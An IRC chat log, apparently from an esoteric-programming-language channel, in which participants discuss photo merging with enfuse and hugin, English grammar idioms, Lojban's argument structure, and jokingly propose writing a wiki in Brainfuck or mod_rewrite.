20:49:28 <AnMaster> fizzie, this is the rather messy enfuse result: http://omploader.org/vM3VjMQ
20:50:12 <oklopol> hiato: i didn't notice someone had just joined so i had to acknowledge that my comment happened to made sense :P
20:50:22 <AnMaster> I wonder if one could do stereo image from this
20:50:24 <AnMaster> perhaps not
20:50:41 <fizzie> "Where this is?" might be the canonical word order for Finnish, but we're a bit more flexible about that; "is this where?" (or "onko tämä mistä?") doesn't sound *so* confusing.
20:50:43 <AnMaster> it would have to figure out where the camera was... which is likely to be hard
20:50:46 <hiato> oklopol: hahaha, nice. Well, 'tis the thought that counts anyway :P
20:51:00 <AnMaster> fizzie, "where is this" in English even afaik
20:51:05 <AnMaster> not "where this is"
20:51:06 <AnMaster> :/
20:51:13 <AnMaster> oh
20:51:18 <AnMaster> Finnish, not English
20:51:20 <AnMaster> I need to sleep
20:51:23 <AnMaster> so I can read properly
20:51:24 <hiato> heh
20:51:24 <oklopol> "where this is" makes no sense, "is this where" almost does
20:51:26 <uorygl> Hmm, "is this where?" is a double question.
20:51:52 <uorygl> Well, I guess "where" can mean "the place" rather than being a question word. "Is this the place?"
20:51:54 <hiato> well, in context, where this is, means something. It was "where this is" and "is this where" it was
20:52:05 <hiato> uorygl: precisely
20:52:10 <AnMaster> I was expecting "is this where <insert gruesome event> happened"
20:52:12 <AnMaster> or such
20:52:21 <fizzie> "Onko tämä mistä?" is maybe closer to "is this from where?"
20:52:33 <oklopol> oh well in uorygl's sense it makes total sense
20:52:35 <AnMaster> fizzie, what did you think about the enfused variant?
20:52:41 <hiato> but, by that token, "this is where" some gruesome event happened makes sense too, though not a question
20:52:42 <AnMaster> notice the weird art out there
20:52:52 <AnMaster> I have no clue what it is supposed to look like
20:53:00 <AnMaster> or be
20:53:06 <uorygl> Interpreted straight, "is this where?" is asking whether it's in a certain place and also asking what that place is.
20:53:19 <oklopol> couldn't you say something like "you found this where exactly?"
20:53:39 <fizzie> AnMaster: It looks pretty typical as far as enfuse-with-unaligned-sources material go; my no-tripod shots often seem to end up as "blurry".
20:53:43 <hiato> yeah, but that's a cultural thing as opposed to grammatical
20:53:46 <AnMaster> fizzie, however, in the parts where enfuse *did* manage to merge nicely it increased detail level and removed jpeg artifacts quite nicely
20:54:10 <uorygl> It's easy to do that in Lojban. "xu zvati ma" means, verbosely, "True-or-false: it's at what-place?."
20:54:21 <oklopol> hiato: was that response to me? i'm just saying that sort of usage exists, the kinds where "is this where" = "where is this"
20:54:29 <AnMaster> fizzie, I actually started out wanting to take photos of the long ice taps hanging down (was even worse a few weeks ago)
20:54:37 <oklopol> *kind
20:55:07 <hiato> oklopol: yeah, it was. I guess, but that is stertching, as the one is a question (starts with a verb) whereas the other is a subjunctive clause, or part of it IIRC
20:55:21 <oklopol> uorygl: "xu zvati ma" does not mean "is this where" in the sense of "is this the place"
20:55:26 <fizzie> AnMaster: By "ice taps", do you mean the icicles?
20:55:36 <hiato> stalactites?
20:55:38 <AnMaster> fizzie, oh that is the English word, is it?
20:55:41 <uorygl> oklopol: right.
20:55:44 <AnMaster> fizzie, but yes
20:56:03 <oklopol> hiato: no it's just "where is this" vs "where did you find this", and "is this where" vs "you found this where"
20:56:18 <oklopol> it just doesn't make sense for a short sentence
20:56:47 <oklopol> well i don't know about subjunctive clause, but they are definitely the exact same thing
20:56:59 <oklopol> uorygl: in fact i'm not sure it means anything
20:57:07 <oklopol> or umm
20:57:16 <oklopol> i guess it means, supply whether somewhere, supply where
20:57:24 <oklopol> (if somewhere)
20:57:41 <hiato> oklopol: right. Now I'm confused. The first two ("where is this" and "where did you find this" are completely different, in both tense and meaning, explicitly and impliticly), the second two are closer related, but still have different meanings and are not interchangable
20:58:25 <hiato> or, are you talking about a context, as opposed to taken on their own?
20:58:34 <oklopol> "this is" and "you find this" are both normal sentences, you're just asking where those things happen.
20:58:46 <hiato> er, right
20:58:57 <oklopol> "where does an elephant eat its baby", "the elephant ate its baby WHERE?"
20:59:13 <oklopol> hmm
20:59:17 <hiato> but, "Where is this?" and "Where did you find this?" are different in meaning, but perhaps not necessarily answer
20:59:34 <AnMaster> fizzie, anyway, I think I shall have to get a compact camera that produces raw. That is, my normal camera is way too bulky to just put in a pocket in the backpack
20:59:35 <hiato> "This is Alaska" vs "On a map"
20:59:38 <oklopol> actually the elephant thing corresponds better to "this is where?"
20:59:44 <AnMaster> and the one in the mobile phone is very bad quality
20:59:57 <AnMaster> so something like a compact high end camera would be perfect
21:00:05 <AnMaster> and light
21:00:16 <oklopol> okay yeah i'm not sure "is this where" makes sense
21:00:16 <AnMaster> my normal camera is too heavy as well
21:00:35 <oklopol> "you read this where" is also "this is where"
21:00:38 <AnMaster> oklopol, now figure out "this where is"
21:00:56 <hiato> oklopol: as a unit, it doesn't. It can only make sense as part of a larger sentence, acting as the main verb as opposed to part of the predicate
21:01:06 <fizzie> This is where it is at.
21:01:30 <hiato> and "you read this where" is horrible abuse of grammar and doesn't actually make sense if read like that
21:01:34 <oklopol> hiato: or in the sense uorygl said. that's a bit irrelevant
21:01:45 <fizzie> Bot-tweetery: "About IRC: further discussion would be fruitless. you have to stop doing scheme and do something less kludgish, so... :p i'm not sure"
21:01:45 <hiato> as opposed to "You read this? Where?"
21:01:51 <oklopol> lol
21:01:55 <oklopol> no that's not what i mean
21:02:39 <AnMaster> fizzie, btw I use hugin to merge and perspective correct photos of overheads from lectures
21:02:47 <AnMaster> it works quite well even from the mobile phone
21:03:18 <AnMaster> since it is basically no parallax, and even if there is it is all on one plane (the projection)
21:03:33 <oklopol> sure "you read this where?" is horrible, but "you saw this where" gives 114000 google hits
21:03:48 <oklopol> well
21:03:57 <oklopol> most are probably not in the sense i mean
21:04:00 <oklopol> but first result is :P
21:04:06 <hiato> hardly a grammatical argument if google is involved :P
21:04:07 <AnMaster> oklopol, that works when "where" is stressed. Like in shock or surprise
21:04:09 <oklopol> wait no
21:04:14 <oklopol> but at least one is!
21:04:18 <oklopol> on the first page
21:04:20 <fizzie> AnMaster: Don't your people publish that sort of stuff over the interwebs? (Though we have photographed the blackboards on some lectures.)
21:04:28 <oklopol> AnMaster: yes that's the point
21:04:43 <hiato> what you're seeing is "you saw this where <subject/clause>"
21:04:44 <AnMaster> fizzie, well, I write down the stuff from the whiteboards. But no, not overheads afaik
21:05:04 <oklopol> no i'm not
21:05:13 <hiato> then it can't be a question
21:05:16 <AnMaster> fizzie, considering that teacher is not the most apt with computers (he teaches electricity, currently about AC)
21:05:19 <oklopol> most on the first few pages are "you saw this where" in the sense "where did you see this"
21:05:26 <hiato> in fact, it cant ever really be a question oklopol
21:05:40 <hiato> that's cause interwebz kiddies are shtoopid
21:06:01 <oklopol> i'm sure some of them are native speakers.
21:06:15 <fizzie> AnMaster: Ah, yes. I guess we've got a few cases who have only handwritten non-computerized stuff. But everyone else as a rule publishes most lecture material in the System we have.
21:06:35 <hiato> oklopol while true, the native and grammatically correct speakers are a minority
21:06:36 <AnMaster> fizzie, or rather, he seems to not use computers unless he have to. Considering he is rumoured to teach VHDL as well I don't know what to make of it
21:07:17 <hiato> in fact, in germanic languages, that construction just doesn't work: "jy het dit gesien waar?" makes as little sense as it does in english, in afirkaans/dutch
21:07:33 <AnMaster> fizzie, but yes, in general many seem to use hand written notes for the lectures. Well, not the math teachers, they all use latex
21:07:36 <fizzie> Heh, "rumoured to teach VHDL" sounds nice. It's like VHDL is some sort of dirty secret.
21:07:36 <oklopol> hiato: well it's true the prescriptivist answer might be that the construct is not grammatical, but i'm pretty sure it's not just shtoopid internet kids who use it.
21:07:42 <oklopol> *interwebz kiddies
21:08:01 <AnMaster> fizzie, XD. (never mind that the math teachers often depart from their lecture notes)
21:08:10 <oklopol> it's a normal colloquial construct, emphasizes where
21:08:22 <hiato> heh, +3 for the correction oklopol, but fair enough, it has been assimilated, just as the double negative has "You aint going nowhere"
21:08:25 -!- MizardX has quit (Read error: Connection reset by peer).
21:08:26 <AnMaster> fizzie, well, I will have some VHDL in the next course iirc
21:08:33 <AnMaster> so I guess I'll get to know that then
21:08:49 <hiato> that, however, doesn't mean it actually makes sense within the rules of the grammar, rather that it has an accepted meaning
21:09:14 <hiato> amongst native speakers in specific envirnments
21:09:40 <AnMaster> hiato, "all but" is a strange idiom
21:10:00 <AnMaster> (about as strange as "You aint going nowhere" is to me)
21:10:06 <oklopol> well i dunno bout dat
21:10:23 <hiato> AnMaster: if anything, it is more grounded in English than most others. It's very arcaic, and I have yet to meet someone who uses it readily
21:10:25 <uorygl> Well, "all but" makes more sense than it can seem to.
21:10:36 <AnMaster> hiato, uses what? "all but"?
21:10:43 <hiato> All but John ate the food.
21:10:45 <hiato> yes
21:10:45 <uorygl> If something is all but destroyed, it's been damanged in every possible manner except for destroying it.
21:10:48 <oklopol> by which i mean "yes maybe, i don't know" and not "you're wrong"
21:10:49 <hiato> in that context
21:11:06 <AnMaster> hiato, seen it in literature. Oh btw I tend to use archaic Swedish just for the fun
21:11:08 <uorygl> If somebody all but kills you, you're only barely alive at the end.
21:11:15 <AnMaster> I couldn't manage that in English
21:11:22 <hiato> uorygl: only strictly speaking
21:11:28 <hiato> AnMaster: I try it :)
21:11:58 <hiato> though, there is the alternative construction "save", eg: "He ate it all save the rice"
21:12:14 <hiato> where "all but" is nonsensical
21:12:30 <oklopol> i don't think save is the same as all but
21:12:38 <AnMaster> hiato, you would get double "all" without it?
21:12:43 <uorygl> It seems that "all but" is only an idiom when it precedes an adjective, or even only when it precedes a past participle.
21:12:47 <hiato> oklopol: oh?
21:13:11 <oklopol> hiato: well for one thing, "all but" is nonsensical in your example :)
21:13:19 <hiato> uorygl: I'm almost sure it's not called an idiom, that would be more like "Two wrongs don't make a right"
21:13:50 <hiato> as opposed to an adage which is something like "A penny saved is a penny earned"
21:13:50 <uorygl> Are we talking about "he ate it all but the rice" or about "he ate it all all but the rice"?
21:13:56 <oklopol> does either of those make sense?
21:13:57 <uorygl> "Two wrongs don't make a right" and "a penny saved is a penny earned" are the same type of phrase.
21:14:04 <uorygl> "He ate it all but the rice" seems to make sense to me.
21:14:19 <hiato> yes, oklopol, that's what I'm saying, they are equivalent, but not interchangable
21:14:25 <oklopol> well if you think of "but" as "except", but i mean if you think of "all but" as "all but"
21:14:35 <hiato> uorygl: they are subtley different, and hence are either idioms or adages
21:14:52 -!- MizardX has joined.
21:14:52 <hiato> and, he ate it all but the rice doesn't actually make senes
21:14:57 <oklopol> hiato: can you show me where they are interchangeable? if their uses are completely separate, then i'm not sure they can be considered the same :P
21:15:09 <oklopol> they are similar, sure
21:15:23 <hiato> oklopol: "..they are equivalent, but not interchangable..."
21:15:24 <hiato> ;)
21:15:35 <oklopol> yeah but what does that mean
21:16:13 <hiato> ah, well, by that I meant that they express the same concept through the same consturct: list <all but/save> exclusion has the same meaning forall list and exclusion
21:16:20 <AnMaster> <uorygl> "Two wrongs don't make a right" <-- unless left twice was same as right
21:16:27 <hiato> but the grammar is subtley different, so not interchangeable
21:16:34 <hiato> AnMaster: heh
21:16:34 <uorygl> You could say that in Haskell, "" and [] are equivalent but not interchangeable. 3:[] is a valid expression while 3:"" is not, even though [] and "" are equal.
21:16:45 <hiato> uorygl: nice example
21:17:40 <AnMaster> the issue I have with "all but" is that it *doesn't* mean "all except"
21:17:52 <hiato> uorygl: "An adage (pronounced /ˈædɪdʒ/), or adagium (Latin), is a short but memorable saying that holds some important fact of experience that is considered true by many people, or that has gained some credibility through its long use. It often involves a planning failure such as "don't count your chickens before they hatch" or "don't burn bridges behind you." Adages may be interesting observations, practical or ethical guidelines, or p
21:17:58 <oklopol> okay in what sort of sentence do they mean the same thing, if not actually syntactically interchangeable?
21:18:00 <hiato> AnMaster: [citation needed]
21:18:18 <AnMaster> hiato, well, at least sometimes it doesn't mean that, unless I'm confusing things
21:18:41 <uorygl> AnMaster: well, it sort of does mean that.
21:18:41 <oklopol> well okay "all but" can also mean "all except", but the sense used in "he all but killed me" i don't think "save" can ever do
21:18:43 <AnMaster> hiato, also second meaning at http://idioms.thefreedictionary.com/all+but
21:18:47 <hiato> oklopol: Of his belongings, he took all but the sink VS He took his belongings save the sink
21:19:20 -!- oerjan has quit (Quit: Later).
21:19:21 <AnMaster> oklopol, try "almost"
21:19:22 <oklopol> yeah but that's not the actual construct "all but", that's just a sentence where "all" and "but" are adjacent :P
21:19:22 <hiato> though, the second would need qualification
21:19:31 <hiato> oklopol: yes it is
21:19:44 <uorygl> If he all but killed me, then he didn't give me a shower, bandage my wounds, or give me a haircut.
21:20:09 <uorygl> And he didn't kill me.
21:20:17 <oklopol> hiato: well whatever, i don't think were actually arguing about anything :P
21:20:19 <hiato> uorygl: you can't really use "all but" in that construction. It usually doesn't refer to degree of action so much as exclusion from a list
21:20:21 <oklopol> *we're
21:20:27 <hiato> oklopol: agreed
21:20:42 <uorygl> You can't say "he all but killed me"?
21:20:45 <oklopol> "hiato: uorygl: you can't really use "all but" in that construction." <<< yes you can, it's the meaning uorygl has been talking about all the time
21:20:49 <oklopol> and it's the one i said save can't do
21:21:21 <hiato> uorygl: not unless you were an uneducated peasant living in post-Elizabethan england
21:21:27 <oklopol> like all but do something, all but some adjective. not "all but" as in "all except"
21:21:42 <hiato> oklopol: he used in in degree
21:21:48 <hiato> you're showing me exclusion
21:22:14 <oklopol> well obviously exclusion is what save does, but i was never talking about that usage
21:22:34 <oklopol> "save" and "all but" are the same when "all but" is "all except"
21:22:54 <oklopol> if that's what you've been saying, then yeah we weren't arguing about anything
21:23:31 <hiato> To take his example to it's logical maximum: He all but painted yellow is fine, but He pianted it all but yellow (where all but is the degree of painting it yellow) is silly
21:23:43 <hiato> oklopol: then I guess we're not
21:24:17 <oklopol> i am a potato, i am a macaroni
21:24:27 <hiato> wait, bad example, but I hope you see what I mean
21:24:27 <uorygl> I guess I'm going to simply contradict you and say that "he all but killed me" is indeed a valid way of saying that he wounded me in every possible manner short of killing me.
21:24:52 <hiato> now there's another equivalent yet not interchangeable consturction: short of
21:25:22 <hiato> but, uorygl, it's not so much a strict grammatical rule as a manner of interpretation
21:25:36 <hiato> I think we broke oklopol: 22:21 < oklopol> i am a potato, i am a macaroni
21:26:21 * hiato sighs, realising English has too many exceptions for its rules to be called rules in the first place
21:27:04 <uorygl> There are rules that are broken rarely if ever.
21:27:19 <oklopol> rules that can be broken are cooles, says this dude
21:27:27 <hiato> Rules that broken, rarely if ever, are present
21:27:40 <hiato> *are
21:27:56 <hiato> rarely, if ever, are some rules broken
21:28:15 <uorygl> The determiner always comes before the noun, never after.
21:28:19 <hiato> Yeah, I'm at the end of my string
21:28:26 <hiato> oklopol: I like that
21:28:29 <uorygl> Not even the most foolish of fools would accidentally say "dog the" for "the dog".
21:28:30 <oklopol> what's a determiner
21:28:32 <hiato> uorygl: a determiner?
21:28:35 <oklopol> hiato: why :o
21:28:42 <uorygl> A determiner is pretty much an article.
21:28:45 <oklopol> oh that sort of determinator
21:28:51 <hiato> oklopol: cooles, it's catchy :P
21:28:55 <oklopol> ah!
21:28:55 <oklopol> yes
21:29:12 <oklopol> the acts of you liking it are cooles
21:29:27 <uorygl> A/an, the, my, your, his, her, its, our, their, Alice's...
21:29:37 <hiato> uorygl: Fair enough, but, again, the exception does not make it the rule
21:29:58 <uorygl> Huh?
21:30:27 <hiato> the exception to the exception of the rules being malformed is not the rule of the exception of the rules being malformed
21:30:32 <oklopol> "huh" means "whew" in finnish
21:30:32 <hiato> (take that, grammar gods)
21:30:42 <hiato> where whew means?
21:30:50 <oklopol> load of my back
21:30:55 <oklopol> *off
21:31:00 <hiato> of, phew type thing
21:31:01 <hiato> right
21:31:04 <uorygl> Well, I said that there are rules without exceptions, not that most rules don't have exceptions.
21:31:14 <hiato> uorygl: then we have no fight
21:31:21 <hiato> but I will make one if possible
21:31:26 <uorygl> And there are lots of "rules" that simply say that something is true most of the time.
21:31:39 <uorygl> Most of the time, the subject precedes the verb. Most of the time, all phrases are contiguous.
21:31:55 <uorygl> s/all//
21:32:50 <uorygl> Most of the time, "me" is an object pronoun.
21:32:53 -!- ais523 has quit (Remote host closed the connection).
21:33:18 <hiato> fundementally, I hate the rules of stress: it should be that the penultimate syllable recieves the stress in the word, hence paRABola not PARAbola but, then we get TElevesion not teleVISion or DIfficulty not diFICULty
21:33:30 <hiato> and so on and so forth
21:33:43 <uorygl> But "Are we there yet?" is an exception to the first, "I want to slap the person in the face who did that" is an exception to the second, and "Me and Andy are going to the store" is an exception to the third.
21:33:44 <hiato> so it's these inconsistencies that annoy me, as I'm not a native speaker
21:34:21 <uorygl> If you were to stress the penultimate syllable, you would have "paraBOla", not "paRAbola".
21:34:31 <uorygl> And the "ficul" of "difficulty" is two syllables.
21:35:04 <hiato> uorygl: but, convention prohibits the latter two examples. Never end in a preposition, and the reflexive personal pronouns have lowest priority
21:35:21 <hiato> yes, my bad to those two
21:35:40 <oklopol> and how is "paRABola" penultimate
21:35:46 <uorygl> It seems that we inherit a lot of our stress rules from Latin.
21:35:47 <hiato> I live in a country where english is a minority language, so emphasis is strange
21:36:13 <hiato> I would tend to agree
21:36:17 <uorygl> And, unfortunately, the stress cues are now totally gone, so we just have to look everything up in a dictionary.
21:36:23 <oklopol> emphasis should be on the first syllable, so you know where words start
21:36:52 <uorygl> Lojban has a pretty complicated system for telling you where words begin and end.
21:36:55 <hiato> oklopol: imagane saying "IMageen SAyin"
21:37:08 <hiato> or SUyin
21:37:17 <hiato> uorygl my memory fails me
21:37:27 <uorygl> It's, like...
21:37:52 <oklopol> hiato: it would be a more beautiful english
21:38:23 <uorygl> Once you hit a pair of consonants in a row, everything from then on is a single word up to the syllable after the next stressed syllable.
21:38:42 <uorygl> So if you have "babababablababaBAbababa", then "blababaBAba" is a single word.
21:38:54 <hiato> oklopol: I beg to differ. English is beuatiful in that it is the quintessential natural language. Full of quirks and relics of the past, assimilations from long forgotten languges and silly human tendancies come grammar rules
21:39:34 <lament> what is beauty?
21:39:45 <hiato> uorygl: that must be rather complex to speak fluently, as it requires an analysis of the language, as opposed to isolated understanding of terms/phrases
21:39:55 <uorygl> Also, the last consonant before the consonant pair, and all the vowels after that, are included in the word if and only if the word would otherwise be only one syllable.
21:39:58 <hiato> lament: your mother
21:39:59 <AnMaster> still speaking about language?
21:40:01 <AnMaster> -_-
21:40:04 <oklopol> hiato: well okay i guess i agree
21:40:17 <AnMaster> lament, good queston
21:40:22 <AnMaster> question*
21:40:26 <oklopol> lament: shut up and sleep with me
21:40:27 <AnMaster> tell me if you find the answer to it
21:40:45 <uorygl> Finally, once you've identified words using those rules, every consonant has its own word.
21:40:52 <oklopol> *-and sleep with me
21:40:52 <AnMaster> lament, but I heard it can be found in the eye of the beholder
21:41:04 <lament> no i won't sleep with you
21:41:08 <hiato> uorygl: I could never talk it
21:41:10 <AnMaster> lament, so clearly you need to dissect your own eyes to find out :D
21:41:14 <hiato> lament, what about me?
21:41:15 <uorygl> hiato: well, not really; in practice, these rules simply place restrictions on what words are possible.
21:41:24 <oklopol> lament: i removed that part
21:41:30 <lament> hiato: not you either
21:41:42 <oklopol> i realized you are canadian and i'm racist
21:41:44 <AnMaster> lament, get started with it :)
21:41:45 * hiato shies his head in sorrow
21:41:58 <uorygl> hiato: so it really becomes the same sort of "identify the words; those are where the words are" that natural languages are.
21:43:38 <hiato> uorygl: I guess, but it all sounds far too little like a language and more like a programming language to me. Though I realise its goal is to be machine parsable. But still, words should not have different "arguments" to them, opreators should not have strange precedence and so on, if a language is to be understood and spoken as opposed to learned and recalled
21:44:35 <uorygl> English has arguments!
21:44:56 <uorygl> In the sentence "I threw the ball to John", the arguments of "threw" are "I", "the ball", and "to John".
21:45:17 -!- augur has joined.
21:45:54 <uorygl> And there's really not much strange precedence stuff; the rule is simply that everything is greedy.
21:46:13 <hiato> I don't believe they are arguments. For example, the ball was thrown from me to john. Are you now going to say taht Eng can be RPN?
21:46:39 <uorygl> Well, "arguments" is what they're called!
21:46:53 <hiato> there are no markers to say that John, Ball and I belong to throw, as opposed to ball and throw belong to John
21:47:03 <hiato> or that all of it belongs to was
21:47:25 <uorygl> What's argument-y about Lojban's arguments that's not argument-y about English's arguments?
21:49:21 <hiato> you cant say that throw "operates on" or "requires" "argumenst" in any manner in Eng. In any natlang, well, I guess isolating ones, each verb needs no qualification, or can be arbitrarilely qualified. It can't specify how many or what form its qualifications can take anymore than any other part of speech. In fact, if anything, there will generally be an alternate construction that, without any delimiation has a similar if not identical meani
21:50:36 <hiato> the trivial example of which is active VS passive, wherein, if anything is to be considered an argument in the first, it can be considered an operator in the second. Unless you now say that Natlangs have first class "verbs" that can be parsed to other verbs and verbs can return "verbs" and so on
21:51:16 <uorygl> Well, likewise, in Lojban, each "verb" takes whatever number of arguments you feel like passing to it.
21:51:44 <hiato> whereas, in Lojban, you have fi, fo, and what have you that need to be specified if the "arguments" are "parsed" out of order
21:53:08 <uorygl> Well, you have that stuff in English, too. You can't say "Patrick ate John" by saying "John ate Patrick".
21:53:19 <hiato> but in english: Throw the right ball on your right to my left OR Throw to my left that ball that is on your right OR The ball that is on your right must be thrown, relative to me, left (assuming it was a command)
21:53:36 <hiato> No, that is confusing subject and object with qualifications
21:53:52 <uorygl> Well, Lojban has both sorts of things.
21:54:08 <hiato> again, you cannot manipulate like that without delimeters
21:54:37 <hiato> and or specific constructions to change the manner in which verbs "operate" on their arguments
21:54:52 <uorygl> In Lojban, there are two things corresponding to prepositions, which are argument slots and modals.
21:55:09 <hiato> Doesn't the name give it away?
21:55:22 <hiato> A verb may be considered a function, as oppose to a concept
21:55:25 <uorygl> Give what away?
21:55:37 <uorygl> It's not a function, it's a relation.
21:55:43 <hiato> which are argument slots
21:55:56 <hiato> To me relations don't need arguments
21:56:03 <hiato> and most certianly not in specific slots
21:56:06 <uorygl> No?
21:56:31 <uorygl> Doesn't a relation say that a specific thing is related to a specific other thing in a specific way?
21:56:32 <hiato> if qualification is desired, it may be given in any manner of ways, as opposed to conforming to an expect construct per verb
21:56:53 <hiato> John is bigger than Peter. We don't say how John is bigger
21:57:12 <uorygl> How do you say "I eat pizza" without using the construct that "eat" expects?
21:57:17 <hiato> just that, by size, they are related
21:57:28 <hiato> eat does not expect a construct, that's what I'm saying
21:57:36 <hiato> English expects (mostly) SVO
21:57:41 <hiato> that's it
21:57:53 <uorygl> "Is bigger than" has exactly two slots, no more, no less, and each one goes in a specific place.
21:58:22 <hiato> I eat a pizza - has the same constuction as I throw a pizza and I sling a pizza etc etc
21:58:25 <uorygl> If all you were saying is that John and Peter are related by size, then "John is bigger than Peter" and "Peter is bigger than John" would mean the same thing.
21:58:31 <hiato> ENGLISH is what specifies order, not verbs
21:58:45 <hiato> THere is no verb that can ovveride SVO
21:58:49 <AnMaster> uorygl, err, ternary "is bigger than" would be fun
21:58:49 <hiato> I dare you to find one
21:58:51 <uorygl> Likewise, in Lojban, you use precisely the same grammatical rules for all "verbs".
21:59:33 <hiato> In lojban, some verbs take subject, object then (eg) position, others are object only, some still are position relative to subject in manner and so on
21:59:47 <uorygl> But they all use precisely the same grammar.
21:59:49 <hiato> where each verb has an overriding say in what follows int
21:59:51 <hiato> no
21:59:54 <hiato> they don't
22:00:20 <uorygl> So what's an example of differing grammar?
22:01:15 <hiato> you can't tell me that WALK 1.left 2.relative to John is the same as EAT 1.fast 2.John's food 3.on the left
22:01:27 <hiato> If the third slot of EAT specifies location
22:01:32 <hiato> then location goes there
22:01:40 <hiato> whereas the third slot of DRIVE may specify time
22:01:46 <hiato> and you can't put location there
22:02:30 <uorygl> So you're saying that in Lojban, the thing denoted by a slot varies by what the verb is?
22:02:32 <hiato> here, the language has no say in what order/what type of slots go where, why? Because each verb is different
22:02:40 <hiato> Yes
22:02:55 <hiato> If WALK expects 1.direction 2.speed
22:02:56 <uorygl> Well, heck, English does that, too.
22:03:07 <hiato> it would be nonsensical to write WALK 1.fast 2.left
22:03:13 <hiato> but, in english
22:03:18 <hiato> I walk to the left, quickly
22:03:25 <hiato> I walk quickly to the left
22:03:30 <uorygl> "Boil" takes one thing in its subject slot, "jump" takes a different thing in its subject slot.
22:03:41 <hiato> uorygl you're not seeing my point
22:04:18 <hiato> not what it takes, but the order. SVO *is* English. Lojban, verbs specify what comes where
22:04:43 <hiato> 22:57 < hiato> where each verb has an overriding say in what follows int
22:05:19 <hiato> see what I mean?
22:05:22 <uorygl> I can give you an example of two verbs in English that mean the same thing but take their arguments in different slots.
22:05:34 <uorygl> In English, "X likes Y" and "Y pleases X" mean the same thing.
22:05:53 -!- augur has quit (Ping timeout: 245 seconds).
22:06:00 <uorygl> In the something-likes-something relation, there's no inherent subject or object there; English verbs assign them arbitrarily.
22:06:11 <hiato> no, they don't, and again, you're confusing the matter with SVO and the order VERBS take qualification
22:06:24 <hiato> it's not who does what, but the what is being done that gets qualified
22:06:32 <hiato> and that's where the difference is
22:07:04 <uorygl> I think I've lost track of what your point is.
22:07:18 <hiato> (either way, John likes Mary and John eats Mary - both times English assigns SVO, verbs have no say)
22:07:26 <hiato> eh
22:07:45 <hiato> I tire, so I'm gonna hit the sack
22:07:55 <hiato> but, re-read over the logs for what it's worth
22:07:57 <uorygl> Lojban also has SVO! You put the x1 before the verb, and the x2, the x3, the x4, and the x5 after!
22:08:04 <hiato> it woujld seem we're saying different things
22:08:12 <uorygl> Maybe so.
22:08:12 -!- adu has quit (Quit: adu).
22:08:12 <hiato> and so arent arguing about anything
22:08:26 <uorygl> Whatever it is, it's your fault. :P
22:08:44 <hiato> yes, I agree with taht SVO in lojban, but that is not how the verb qualification works. X1 may not be subject, X2 may not be verb etc
22:08:49 <hiato> heh, whatever :P
22:08:53 <hiato> anyway, cheers
22:08:57 <hiato> it's been interesting
22:09:03 <hiato> as always on this channel
22:09:23 -!- hiato has quit (Quit: underflow).
22:09:26 <uorygl> In English, the subject slot may not be the x1, the verb may not be the x2, etc.
22:09:40 <uorygl> The subject/object distinction is just as arbitrary as the x1/x2/x3/x4/x5 distinction.
22:22:09 -!- MigoMipo has quit (Ping timeout: 276 seconds).
22:28:07 <AnMaster> uorygl, x?
22:28:34 <AnMaster> also stop talking about non-esolangs for a momement :/
22:28:39 <AnMaster> moment
22:28:39 <AnMaster> '
22:28:46 <AnMaster> s/'/*/
22:29:30 <lament> x1 x2 x1 x1 x2 x3 x1 x2 x3 x1 x4 x5 x6 x7 x2 x5 x1
22:29:36 <lament> x1 x4 x4 x4???
22:30:38 <AnMaster> lament, I just have no idea what they mean
22:37:30 -!- coppro has joined.
22:45:47 -!- Ilari has joined.
22:58:51 -!- MigoMipo has joined.
23:10:45 -!- Phantom_Hoover has joined.
23:13:13 -!- Ilari_ has joined.
23:14:00 -!- Ilari has quit (Quit: leaving).
23:14:01 -!- Ilari_ has changed nick to Ilari.
23:14:16 -!- augur has joined.
23:19:46 <Phantom_Hoover> Hello?
23:20:32 <FireFly> Good day to you too, sir.
23:20:33 <FireFly> Erm
23:20:34 <FireFly> Hi
23:21:01 <Phantom_Hoover> Hello.
23:21:08 <Phantom_Hoover> Who maintains the wiki?
23:21:37 <Phantom_Hoover> It's using an *incredibly* out-of-date version of MediaWiki.
23:24:25 <olsner> is it out-of-date enough to be esoteric? if not, we just have to wait a while :)
23:25:17 <Gregor> olsner: lawl
23:25:23 <Gregor> It should be running Hackiki ^^
23:25:23 -!- tombom has quit (Quit: Leaving).
23:25:35 <Phantom_Hoover> Seriously, who does maintain it?
23:25:57 <Gregor> The ever-enigmatic graue.
23:26:14 <olsner> hackiki? reminds me of a kebab place here that's called hakepi
23:26:29 <Gregor> olsner: http://hackiki.org/ But instead, it's the GREATEST WIKI SOFTWARE EVARS
23:26:56 <olsner> Gregor: but it will not feed me!
23:27:00 <fizzie> AnMaster: Whiteboard scribblings from a lecture: http://www.cis.hut.fi/~itniemin/lumileopardi.jpg
23:27:05 <Gregor> olsner: Won't it? WON'T IT?
23:27:18 <Gregor> fizzie: Useful.
23:27:24 <Phantom_Hoover> I suppose you could write a wiki using Brainfuck and CGI.
23:27:47 <olsner> Gregor: I VERY MUCH DOUBT that it will
23:27:49 <Phantom_Hoover> Though the tape would need to be *enormous*.
23:28:08 <Gregor> Haaaaaaaa
23:28:10 <Gregor> Ckiiiiiiii
23:28:11 <olsner> ooh, actually, we could write the wiki in mod_rewrite!
23:28:12 <Gregor> Kiiiiiiiii
23:28:41 <olsner> just needs some storage api, but that can be built external to the rewriting
23:29:05 <fizzie> Gregor: It's a visualization of the positive and negative border; it's about finding frequent itemsets in data; and the thing that looks a bit like pi to the zeroth power with a hook on it is actually a snow leopard.
23:29:33 <olsner> mod_rewrite is horribly inefficient though, it'll run out of memory in notime
23:29:47 <Gregor> Phantom_Hoover: HA
23:29:49 <Gregor> olsner: CKI
23:29:51 <Gregor> fizzie: KI
23:30:22 <olsner> Gregor: meh
23:30:24 <Gregor> (This is the only kind of software evangelism I know how to do :P )
23:30:32 <Gregor> olsner: Meh? D-8
23:31:11 -!- kar8nga has quit (Remote host closed the connection).
23:31:14 <Phantom_Hoover> "CKI"? "KI"?
23:31:20 <AnMaster> <fizzie> AnMaster: Whiteboard scribblings from a lecture: http://www.cis.hut.fi/~itniemin/lumileopardi.jpg <-- quantum physics?
23:31:30 <Gregor> Phantom_Hoover: "Hackiki" :P
23:32:03 <olsner> AnMaster: picture of a clown?
23:32:04 <pikhq> Hackiki is actually pretty awesome.
23:32:12 <Phantom_Hoover> I suppose if that ESO OS (first on the forum) gets working you could hack together an HTTP server.
23:32:40 <Phantom_Hoover> And yes, Hackiki looks cool.
23:33:00 <olsner> hmm, maybe multi-process postscript or something :)
23:33:12 -!- Oranjer has joined.
23:33:24 <Gregor> olsner: D-8
